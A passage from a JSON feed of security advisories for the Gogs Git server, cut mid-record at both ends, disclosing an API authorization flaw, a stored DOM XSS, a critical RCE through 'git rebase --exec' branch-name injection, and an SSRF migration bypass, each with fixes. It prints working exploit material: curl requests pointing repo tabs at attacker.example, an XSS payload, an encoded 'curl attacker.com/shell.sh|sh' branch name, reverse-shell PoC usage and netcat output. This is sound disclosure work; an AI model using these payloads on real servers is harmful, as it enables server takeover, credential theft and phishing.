\"https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker\" \\\n  -H \"Authorization: token WRITER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\"enable_issues\":false,\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}'\n# Expected: HTTP 204 No Content\n\n# 2) Redirect the Wiki tab to an attacker-controlled page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/wiki\" \\\n  -H \"Authorization: token WRITER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\"enable_wiki\":false,\"enable_external_wiki\":true,\"external_wiki_url\":\"https://attacker.example/phish-wiki\"}'\n# Expected: HTTP 204 No Content\n\n# 3) Force a mirror sync on a mirrored repository (potential resource abuse)\ncurl -i -X POST \"https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync\" \\\n  -H \"Authorization: token WRITER_TOKEN\"\n# Expected: HTTP 202 Accepted\n```\n\n## Impact\n\n- A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.\n- The same redirect attack applies to the Wiki tab via the external wiki URL setting.\n- Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.\n- Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.\n- All three operations are silent — no notification is sent to repo admins when these settings change via the API.\n\n## Recommended remediation\n\n### Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred)\n\nReplace `reqRepoWriter()` with `reqRepoAdmin()` at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy.\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoAdmin(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoAdmin(), mirrorSync)\n```\n\n### Option 2: Add an explicit admin check inside the handlers\n\nAdd `c.Repo.IsAdmin()` checks at the top of `issueTracker()`, `wiki()`, and `mirrorSync()`. This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.\n\n```go\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n    if !c.Repo.IsAdmin() {\n        c.Status(http.StatusForbidden)\n        return\n    }\n    ...\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T17:03:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/gogs/gogs/security/advisories/GHSA-268j-37xf-pp52","https://github.com/gogs/gogs/pull/8327","https://github.com/gogs/gogs/commit/6283462119bd8894f1599d70339b5e823f99954a","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52808","https://github.com/advisories/GHSA-268j-37xf-pp52"],"source_kind":"github","identifiers":["GHSA-268j-37xf-pp52","CVE-2026-52808"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.346Z","epss_percentage":0.00478,"epss_percentile":0.39077,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNjhqLTM3eGYtcHA1Ms4ABZTO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNjhqLTM3eGYtcHA1Ms4ABZTO","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNjhqLTM3eGYtcHA1Ms4ABZTO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Y201LWd2bXAtNzhtcM4ABZTN","url":"https://github.com/advisories/GHSA-vcm5-gvmp-78mp","title":"Gogs has DOM-based XSS via Milestone Name on New Issue Page","description":"### Summary\nThe fix for GHSA-vgjm-2cpf-4g7c (DOM-based XSS via milestone selection) was only applied to `templates/repo/issue/view_content.tmpl` but not to `templates/repo/issue/new_form.tmpl`. An attacker can store an HTML/JavaScript payload in a milestone name, and when any user opens the New Issue page and interacts with the milestone dropdown, the payload executes in their browser via Semantic UI's `preserveHTML` behavior.\n\n### Details\nGHSA-vgjm-2cpf-4g7c was patched by adding `| Sanitize` (bluemonday HTML tag stripping) to milestone name rendering in `view_content.tmpl`. However, the same milestone dropdown exists in `new_form.tmpl` and was **not** patched.\n\nIn `new_form.tmpl`, milestone names are rendered with Go's default auto-escaping (`{{.Name}}`), which converts `\u003c` to `\u0026lt;` etc. This prevents direct HTML injection. However, when the browser renders the DOM, the text content of the element contains the **decoded** original payload (e.g., `\u003cimg src=x onerror=alert(1)\u003e`).\n\nSemantic UI 2.4.2's dropdown component has `preserveHTML: true` as the default setting. When a user selects a dropdown item, the internal `set.text()` method calls jQuery's `.html()` with the item's text content. This re-parses the decoded text as HTML, creating the injected element and triggering the JavaScript event handler.\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/26508268/poc.zip)\nPlease extract the uploaded compressed file before proceeding\n\n1. docker compose up --build\n\n\u003cimg width=\"1325\" height=\"315\" alt=\"스크린샷 2026-04-06 오후 9 34 05\" src=\"https://github.com/user-attachments/assets/87895cce-5b8e-4320-829a-87a5890cc0d9\" /\u003e\n\n### Impact\n- Stored DOM XSS: Any user with write access to a repository can create a malicious milestone. Any other user who visits the New Issue page and interacts with the milestone dropdown will have arbitrary JavaScript executed in their browser session.\n- Session hijacking: The attacker can steal session cookies, perform actions as the victim, or escalate privileges.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-23T17:02:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gogs/gogs/security/advisories/GHSA-vcm5-gvmp-78mp","https://github.com/gogs/gogs/pull/8325","https://github.com/gogs/gogs/commit/573eacdc658641487f8ad883da96b29ec8e2852d","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52807","https://github.com/advisories/GHSA-vcm5-gvmp-78mp"],"source_kind":"github","identifiers":["GHSA-vcm5-gvmp-78mp","CVE-2026-52807"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.346Z","epss_percentage":0.00483,"epss_percentile":0.3957,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y201LWd2bXAtNzhtcM4ABZTN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Y201LWd2bXAtNzhtcM4ABZTN","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y201LWd2bXAtNzhtcM4ABZTN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZjZwLXA3d3ctY3dyOc4ABZTM","url":"https://github.com/advisories/GHSA-qf6p-p7ww-cwr9","title":"Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge","description":"# Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge\n\n## Summary\n\nGogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the \"Rebase before merging\" merge operation.\n\n## Severity\n\n**Critical** - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Versions\n\n- **Gogs 0.14.2** (latest supported release)\n- Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16)\n- All prior versions that support the \"Rebase before merging\" merge style\n\n## Impact\n\nThis is a **privilege escalation from authenticated user to server-level code execution**. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server:\n\n- **Server compromise**: Arbitrary command execution as the Gogs process user\n- **Cross-tenant data breach**: Read ALL repositories on the instance, including other users' private repos\n- **Credential theft**: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user\n- **Lateral movement**: Pivot to other systems accessible from the server's network\n- **Supply chain attacks**: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only.\n\nThe vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default).\n\nThe severity is heightened because:\n\n- **Open registration by default**: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker.\n- **No admin required**: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings \u003e Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.)\n- The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit\n- The exploit is fully automatable (see PoC)\n- The exploit leaves minimal traces (a 500 error in server logs, easily missed)\n\n## Prerequisites\n\nThe attacker needs **one** of the following:\n\n- **Repo admin/owner** on any repository (can enable rebase + create PR + merge) - **any user who creates a repo has this by default**\n- **Write access** to a repository where \"Rebase before merging\" is already enabled by the owner (can create malicious branch + PR + merge)\n\nNote: \"Rebase before merging\" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However:\n\n- Any user who creates their own repository is admin of that repo and can enable rebase via Settings \u003e Advanced\n- The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can\n- Many organizations enable rebase merge as a standard practice\n\n## Root Cause Analysis\n\nIn `internal/database/pull.go`, the [`Merge()` function](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator:\n\n```go\nif _, stderr, err = process.ExecDir(-1, tmpBasePath,\n    fmt.Sprintf(\"PullRequest.Merge (git rebase): %s\", tmpBasePath),\n    \"git\", \"rebase\", \"--quiet\", pr.BaseBranch, remoteHeadBranch); err != nil {\n```\n\nThe `pr.BaseBranch` value originates from the [URL parameter](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L447) in `internal/route/repo/pull.go`:\n\n```go\nbaseRef := infos[0]  // from strings.Split(c.Params(\"*\"), \"...\")\n```\n\nBoth `baseRef` and `headRef` are validated via [`RevParse`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L482) (defined in the external [`git-module`](https://github.com/gogs/git-module) library), but this only calls `git rev-parse --verify \u003cref\u003e` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator.\n\n## Exploitation\n\nGit branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named:\n\n```bash\n--exec=touch${IFS}/tmp/rce_proof\n```\n\nWhen used as `pr.BaseBranch` in the rebase command:\n\n```bash\ngit rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'\n```\n\n1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag\n2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit\n3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names\n4. The command `touch /tmp/rce_proof` executes as the Gogs server process user\n\nFor commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, `[`, `\\`, `//`), such as URLs, the attacker base64-encodes the payload:\n\n```bash\n--exec=echo${IFS}\u003cbase64\u003e|base64${IFS}-d|sh\n```\n\nFor example, `curl https://attacker.com/shell.sh|sh` becomes:\n\n```bash\n--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh\n```\n\nThis was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk.\n\n### Full Execution Flow in `Merge()`\n\nThe `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially:\n\n| Step                                                                               | Command                                                   | Result with malicious branch                                                 |\n| ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- |\n| [1](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L233)      | `git clone -b '\u003cmalicious\u003e' \u003crepo\u003e \u003ctmp\u003e`                 | **Succeeds** - `-b` consumes `--exec=...` as the branch value                |\n| [2](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L238-L248) | `git remote add head_repo \u003crepo\u003e` + `git fetch head_repo` | Succeeds normally                                                            |\n| [3](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282)      | `git rebase --quiet '\u003cmalicious\u003e' 'head_repo/feature'`    | **RCE fires here** - `--exec=\u003ccmd\u003e` parsed as flag, command runs via `sh -c` |\n| [4](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L290)      | `git checkout -b \u003ctmpBranch\u003e`                             | Succeeds (tmpBranch is a server-generated timestamp)                         |\n| [5](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L297)      | `git checkout '\u003cmalicious\u003e'`                              | **Fails** - git interprets `--exec=...` as invalid option for checkout       |\n\nStep 5 failure causes `Merge()` to return an error (HTTP 500), but **the RCE has already executed at Step 3**. The 500 error is logged but does not prevent exploitation. Defenders can look for this IOC in server logs:\n\n```log\n[E] ...merge: git checkout '--exec=\u003c...\u003e': exit status 128 - error: unknown option `exec=\u003c...\u003e'\n```\n\nThis is logged via [`c.Error(err, \"merge\")`](https://github.com/gogs/gogs/blob/v0.14.2/internal/route/repo/pull.go#L419) at ERROR level.\n\n### Why the PR Becomes Mergeable\n\nThe `testPatch()` function (called during PR creation at line 468) calls `UpdateLocalCopyBranch(pr.BaseBranch)` (`internal/database/repo.go:658`), which has two code paths:\n\n- **No local copy exists** (first call for a repo): Calls `git.Clone()` (line 664), which includes `--end-of-options` → the malicious branch name is treated as data, clone succeeds, and `testPatch` completes normally.\n- **Local copy already exists** (subsequent calls): Calls `gitRepo.Checkout(branch)` (line 684), which is missing `--end-of-options` → git interprets `--exec=...` as a flag → checkout fails → `testPatch` returns an error.\n\nThe exploit relies on the following causal chain:\n\n1. During PR creation (`NewPullRequest`, line 468), `testPatch()` is called. For a **fresh repository** with no local copy, the Clone path succeeds.\n2. Because `testPatch` didn't set the status to `PullRequestStatusConflict`, the status remains `PullRequestStatusChecking`, and the code at line 472-473 promotes it to `PullRequestStatusMergeable`.\n3. The background `TestPullRequests` goroutine (line 840) periodically re-checks PRs. When it calls `testPatch` again, the local copy now exists, so `UpdateLocalCopyBranch` takes the Checkout path → fails → returns an error.\n4. This error causes `TestPullRequests` to skip adding the PR to the update list (`return nil` at line 855) or skip `checkAndUpdateStatus()` (`continue` at line 877). Because `checkAndUpdateStatus` is never called, **the PR status remains at Mergeable indefinitely**.\n\nThe PoC handles this by creating a **fresh repository** (no local copy exists yet), ensuring the first `testPatch` succeeds via the Clone path.\n\n### Proof of Concept\n\nA standalone Python exploit (`gogs-rebase-rce.py`) is attached to this advisory. It automates the full exploit chain (authentication, repo creation, rebase enablement, payload delivery, PR creation, merge trigger, and cleanup) and supports both Linux and Windows targets. Requires Python 3.8+, `requests`, and a local `git` installation.\n\n#### Usage\n\n```bash\n# Reverse shell (Linux)\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l \u003cLHOST\u003e -x \u003cLPORT\u003e\n\n# Reverse shell (Windows)\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -l \u003cLHOST\u003e -x \u003cLPORT\u003e --os windows\n\n# Custom command\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 -c 'id \u003e /tmp/pwned'\n\n# Version fingerprint only (no exploit)\npython3 gogs-rebase-rce.py -t http://gogs:3000 -u attacker -p Password123 --check\n```\n\n#### Demo\n\nRun the PoC with a reverse shell payload:\n\n```bash\npython3 gogs-rebase-rce.py -t http://localhost:3080 -u attacker -p Password123 -l 172.17.0.1 -x 1337\n\n[*] Fingerprinting target...\n[+] Gogs 0.14.2 detected\n[*] Authenticating as \"attacker\"\n[+] Authenticated\n[*] Creating repository\n[+] Repository xxxx-yyyy created\n[*] Enabling rebase merge\n[+] Rebase merge enabled\n[*] Pushing branches via git\n[+] Branches pushed\n[*] Creating pull request\n[+] PR #1 created\n[*] Triggering rebase merge - RCE fires now!\n[+] Rebase merge triggered\n```\n\nChecking the listener:\n\n```bash\n$ nc -nlvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 43240\n$ whoami\ngit\n```\n\n### Manual Browser Reproduction\n\nThis can be reproduced entirely through the Gogs web UI:\n\n**Prerequisites**: A running Gogs instance (e.g., `http://localhost:3080`) with a registered user account.\n\n**Step 1: Create a repository and push branches**\n\n```bash\n# Create repo via Gogs API\ncurl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \\\n  -H 'Content-Type: application/json' -d '{\"name\":\"demo\"}'\n\n# Set up local repo with divergent branches\nmkdir /tmp/demo \u0026\u0026 cd /tmp/demo \u0026\u0026 git init\ngit config user.email \"attacker@test.com\" \u0026\u0026 git config user.name \"attacker\"\necho \"# Demo\" \u003e README.md \u0026\u0026 git add . \u0026\u0026 git commit -m \"Initial commit\"\ngit checkout -b feature\necho \"feature\" \u003e feature.txt \u0026\u0026 git add . \u0026\u0026 git commit -m \"Add feature\"\ngit checkout master\necho \"update\" \u003e\u003e README.md \u0026\u0026 git add . \u0026\u0026 git commit -m \"Update master\"\n\n# Create the malicious branch (same commit as master)\ngit update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD\n\n# Push all branches\ngit remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git\ngit push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF'\n```\n\n**Step 2: Enable rebase in repo settings**\n\n1. Navigate to `http://localhost:3080/attacker/demo/settings`\n2. Click **Advanced Settings**\n3. Check **Enable Pull Requests**, then check **Allow rebase**\n4. Click **Save**\n\n(Or update the database directly: `UPDATE repository SET enable_pulls=1, pulls_allow_rebase=1 WHERE lower_name='demo';`)\n\n**Step 3: Create the Pull Request**\n\nNavigate to the compare URL (base = malicious branch, head = feature):\n\n```\nhttp://localhost:3080/attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature\n```\n\nEnter a title (e.g., \"RCE PoC\") and click **New Pull Request**.\n\n**Step 4: Wait for testPatch (~5 seconds)**\n\nThe background `TestPullRequests` goroutine must set the PR to Mergeable. Wait a few seconds, then refresh the PR page. The merge button should appear.\n\n**Step 5: Trigger the merge**\n\n1. On the PR page (`/attacker/demo/pulls/1`), select **Rebase before merging**\n2. Click **Merge Pull Request**\n3. The server returns HTTP 500 (expected - `git checkout` of the malicious branch name fails after rebase)\n\n**Step 6: Verify RCE**\n\n```bash\n$ ls -la /tmp/BROWSER_RCE_PROOF\n-rw-rw-r-- 1 cryptocat cryptocat 0 Mar 16 18:02 /tmp/BROWSER_RCE_PROOF\n```\n\nThe file was created by the Gogs server process during `git rebase --exec`\n\n## Recommended Fix\n\n### Primary fix: Add `--` separator\n\n```go\n// internal/database/pull.go line 282\n\"git\", \"rebase\", \"--quiet\", \"--\", pr.BaseBranch, remoteHeadBranch\n```\n\n### Defense-in-depth: Validate branch names\n\nReject base branch names starting with `-` at the PR creation endpoint:\n\n```go\n// internal/route/repo/pull.go, after line 447\nif strings.HasPrefix(baseRef, \"-\") {\n    c.NotFound()\n    return nil, nil, nil, nil, \"\", \"\"\n}\n```\n\n### Additional hardening\n\nApply `--` separators to all other `process.ExecDir` calls in `Merge()` that use `pr.BaseBranch`:\n\n- Line 233: `git clone -b pr.BaseBranch` (not directly exploitable but should be hardened)\n- Line 297: `git checkout pr.BaseBranch` (currently fails, but should use `-- pr.BaseBranch`)\n- Line 315: `git push \u003crepo\u003e pr.BaseBranch` (should use `--` separator)\n\n## Relationship to Prior Argument Injection Fixes\n\nThis vulnerability is an **incomplete fix bypass** of the Category A argument injection invariant that Gogs has been patching across multiple advisories:\n\n| Advisory                                                                                    | CVE                                                               | Description                                  | Fix Applied                                                    |\n| ------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | -------------------------------------------- | -------------------------------------------------------------- |\n| [GHSA-m27m-h5gj-wwmg](https://github.com/gogs/gogs/security/advisories/GHSA-m27m-h5gj-wwmg) | [CVE-2024-39933](https://nvd.nist.gov/vuln/detail/CVE-2024-39933) | Argument injection when tagging new releases | Added `--` separator to `git tag`                              |\n| [GHSA-9pp6-wq8c-3w2c](https://github.com/gogs/gogs/security/advisories/GHSA-9pp6-wq8c-3w2c) | [CVE-2024-39932](https://nvd.nist.gov/vuln/detail/CVE-2024-39932) | Argument injection during changes preview    | Added `--end-of-options` to `git diff`                         |\n| [GHSA-v9vm-r24h-6rqm](https://github.com/gogs/gogs/security/advisories/GHSA-v9vm-r24h-6rqm) | [CVE-2026-26194](https://nvd.nist.gov/vuln/detail/CVE-2026-26194) | Release tag option injection in deletion     | Migrated to safe git-module API                                |\n| [GHSA-vm62-9jw3-c8w3](https://github.com/gogs/gogs/security/advisories/GHSA-vm62-9jw3-c8w3) | [CVE-2024-39930](https://nvd.nist.gov/vuln/detail/CVE-2024-39930) | Argument injection in built-in SSH server    | Added `--` separator to `git upload-pack` / `git receive-pack` |\n\nThe [`git-module` library](https://github.com/gogs/git-module) (`v1.8.7`) was hardened with `--end-of-options` in `Clone()`, `Push()`, `Fetch()`, and 28 other call sites. However, the `Merge()` function in `internal/database/pull.go` **bypasses all of these protections** because it uses raw `process.ExecDir` (which wraps `exec.Command` directly) instead of the safe git-module API. The [`git rebase` call](https://github.com/gogs/gogs/blob/v0.14.2/internal/database/pull.go#L282) was never migrated.\n\nNotably, `git-module.Checkout()` is also missing `--end-of-options` — a separate gap that incidentally causes the `testPatch` race condition this exploit leverages (see \"Why the PR Becomes Mergeable\" above).\n\n## Affected Platforms\n\nThe vulnerability has been confirmed on:\n\n- **Linux**: Docker (official image) and binary installation on Ubuntu 24.04\n- **Windows**: Binary installation with Git for Windows (MSYS2)\n\nOn Windows, the base64 inline payload approach fails because NTFS forbids the `|` character in filenames (git stores refs as files). The exploit uses file-based payload delivery instead: the payload is committed as a script file, and the branch name becomes `--exec=sh${IFS}\u003cfilename\u003e`. An `sh` wrapper invokes `cmd.exe //c \u003cpayload\u003e.bat` to avoid MSYS2 shell metacharacter mangling. The attached PoC handles this automatically.\n\n## Test Environment\n\n- **OS**: Ubuntu Linux 24.04, Windows (Git for Windows)\n- **Gogs version**: 0.14.2 (also confirmed on 0.15.0+dev, commit `b53d3162`)\n- **Go version**: go1.26.1\n- **Database**: SQLite\n- **Deployment**: Docker (official image), binary, and built from source\n\n## Credit\n\nJonah Burgess (CryptoCat) - Senior Security Researcher @Rapid7","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-23T17:02:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf6p-p7ww-cwr9","https://github.com/gogs/gogs/pull/8301","https://github.com/gogs/gogs/commit/a9dbafbfd8e1020bacc626420238c01d75d03364","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52806","https://github.com/advisories/GHSA-qf6p-p7ww-cwr9"],"source_kind":"github","identifiers":["GHSA-qf6p-p7ww-cwr9","CVE-2026-52806"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.347Z","epss_percentage":0.07934,"epss_percentile":0.94278,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZjZwLXA3d3ctY3dyOc4ABZTM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZjZwLXA3d3ctY3dyOc4ABZTM","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZjZwLXA3d3ctY3dyOc4ABZTM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nMmY1LWdqcjQtcWp2bc4ABZTL","url":"https://github.com/advisories/GHSA-g2f5-gjr4-qjvm","title":"Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft","description":"# Migration URL validation bypass via HTTP redirect to blocked internal endpoints\n\n## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository.\n\n## Vulnerability Details\n\nThe vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation:\n\n1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname).\n2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Git follows the redirect and clones the internal repository.\n4. Gogs imports the cloned contents into the attacker's new repository.\n\nThe root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.\n\n## Impact\n\nThis vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:\n\n- Steal source code and secrets from internal repositories served over HTTP.\n- Scan internal network services via the migration endpoint.\n\n## Reproduction Steps\n\nPrerequisites: a Gogs instance, an attacker account that can create repositories.\n\n1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`.\n2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Verify the direct localhost URL is blocked:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\"clone_addr\":\"http://127.0.0.1:18081/victim/private.git\",\"uid\":2,\"repo_name\":\"blocked\"}' \\\n  \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: rejected as blocked local address.\n\n4. Submit a public-looking URL that redirects to the blocked endpoint:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\"clone_addr\":\"http://attacker.example/redirect.git\",\"uid\":2,\"repo_name\":\"stolen\",\"private\":true}' \\\n  \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: migration succeeds. The new repository contains the internal repository's contents.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-23T17:01:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm","https://github.com/gogs/gogs/pull/8324","https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52805","https://github.com/advisories/GHSA-g2f5-gjr4-qjvm"],"source_kind":"github","identifiers":["GHSA-g2f5-gjr4-qjvm","CVE-2026-52805"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T18:00:09.137Z","updated_at":"2026-08-28T13:01:26.347Z","epss_percentage":0.00384,"epss_percentile":0.31143,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nMmY1LWdqcjQtcWp2bc4ABZTL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nMmY1LWdqcjQtcWp2bc4ABZTL","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 